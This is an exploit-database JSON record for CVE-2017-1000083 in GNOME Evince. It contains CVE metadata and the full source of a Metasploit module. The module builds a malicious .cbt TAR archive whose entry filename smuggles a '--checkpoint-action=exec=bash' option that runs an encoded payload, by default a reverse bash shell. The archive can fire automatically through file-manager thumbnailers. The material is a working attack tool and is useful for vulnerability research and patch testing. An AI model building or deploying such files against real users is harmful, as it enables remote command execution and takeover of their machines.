{"exploit":{"id":"EDB-46341","name":"GNOME Evince < 3.24.1 - CBT File Command Injection (Metasploit)","description":"GNOME Evince < 3.24.1 - CBT File Command Injection (Metasploit)","cves":["CVE-2017-1000083"],"author":"Metasploit","published":"2019-02-11","platform":"linux","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/46341","path":"exploits/linux/local/46341.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-46341.rb","vulnerabilities":[{"id":"CVE-2017-1000083","state":"PUBLISHED","title":null,"titleSource":null,"description":"backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to execute arbitrary commands via a .cbt file that is a TAR archive containing a filename beginning with a \"--\" command-line option substring, as demonstrated by a --checkpoint-action=exec=bash at the beginning of the filename.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-1000083","cvss":{"version":"3.0","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-1000083"},"updatedAt":"2024-08-05T21:53:06.517Z","retrievedAt":"2026-11-26T11:23:02.100Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-46341.png?v=2","url":"https://exploitbin.com/exploits/EDB-46341","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-46341/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-46341/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/zip'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::FILEFORMAT\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Evince CBT File Command Injection',\n      'Description'    => %q{\n        This module exploits a command injection vulnerability in Evince\n        before version 3.24.1 when opening comic book `.cbt` files.\n\n        Some file manager software, such as Nautilus and Atril, may allow\n        automatic exploitation without user interaction due to thumbnailer\n        preview functionality.\n\n        Note that limited space is available for the payload (<256 bytes).\n        Reverse Bash and Reverse Netcat payloads should be sufficiently small.\n\n        This module has been tested successfully on evince versions:\n\n        3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;\n        3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n          'Felix Wilhelm',     # Discovery\n          'Sebastian Krahmer', # PoC\n          'Matlink',           # Exploit\n          'bcoles'             # Metasploit\n        ],\n      'References'     =>\n        [\n          ['BID', '99597'],\n          ['CVE', '2017-1000083'],\n          ['EDB', '45824'],\n          ['URL', 'https://seclists.org/oss-sec/2017/q3/128'],\n          ['URL', 'https://bugzilla.gnome.org/show_bug.cgi?id=784630'],\n          ['URL', 'https://bugzilla.suse.com/show_bug.cgi?id=1046856'],\n          ['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418'],\n          ['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662'],\n          ['URL', 'https://access.redhat.com/security/cve/cve-2017-1000083'],\n          ['URL', 'https://security-tracker.debian.org/tracker/CVE-2017-1000083']\n        ],\n      'Platform'       => 'unix',\n      'Arch'           => ARCH_CMD,\n      'Payload'        =>\n        {\n          'Space'       => 215,\n          'BadChars'    => \"\\x00\\x0a\\x0d\\x22\",\n          'DisableNops' => true\n        },\n      'DefaultOptions'  =>\n        {\n          'PAYLOAD' => 'cmd/unix/reverse_bash',\n          'DisablePayloadHandler' => true\n        },\n      'Targets'        => [[ 'Automatic', {}]],\n      'Privileged'     => false,\n      'DisclosureDate' => '2017-07-13',\n      'DefaultTarget'  => 0))\n    register_options([\n      OptString.new('FILENAME', [true, 'The cbt document file name', 'msf.cbt'])\n    ])\n  end\n\n  def exploit\n    ext = %w[png jpg gif]\n    path = \" --checkpoint-action=exec=bash -c \\\"#{payload.encoded};\\\".#{ext.sample}\"\n\n    # Tar archive max path length is 256.\n    if path.length > 256\n      fail_with Failure::PayloadFailed, \"Payload is too large (#{path.length}): Max path length is 256 characters\"\n    end\n\n    # Tar archive max file name length is 100.\n    path.split('/').each do |fname|\n      if fname.length > 100\n        fail_with Failure::PayloadFailed, \"File name too long (#{fname.length}): Max filename length is 100 characters\"\n      end\n    end\n\n    # Create malicious tar archive\n    tarfile = StringIO.new\n    Rex::Tar::Writer.new tarfile do |tar|\n      tar.add_file path, 0644 do |io|\n        io.write ''\n      end\n      # Pad file to 1+ MB to trigger tar checkpoint action\n      tar.add_file rand_text_alphanumeric(10..20), 0644 do |io|\n        io.write rand_text(1_000_000..1_100_000)\n      end\n    end\n    tarfile.rewind\n    cbt = tarfile.read\n\n    print_status \"Writing file: #{datastore['FILENAME']} (#{cbt.length} bytes) ...\"\n    file_create cbt\n  end\nend","sha256":"5e326adab64ff145d9ed80fba8899c9d1d3b5cb9a476dcda50219bd56cc9478c","bytes":3743,"fetchedAt":"2026-11-27T02:11:07.518Z","encoding":"utf-8 (display only; download retains original bytes)"}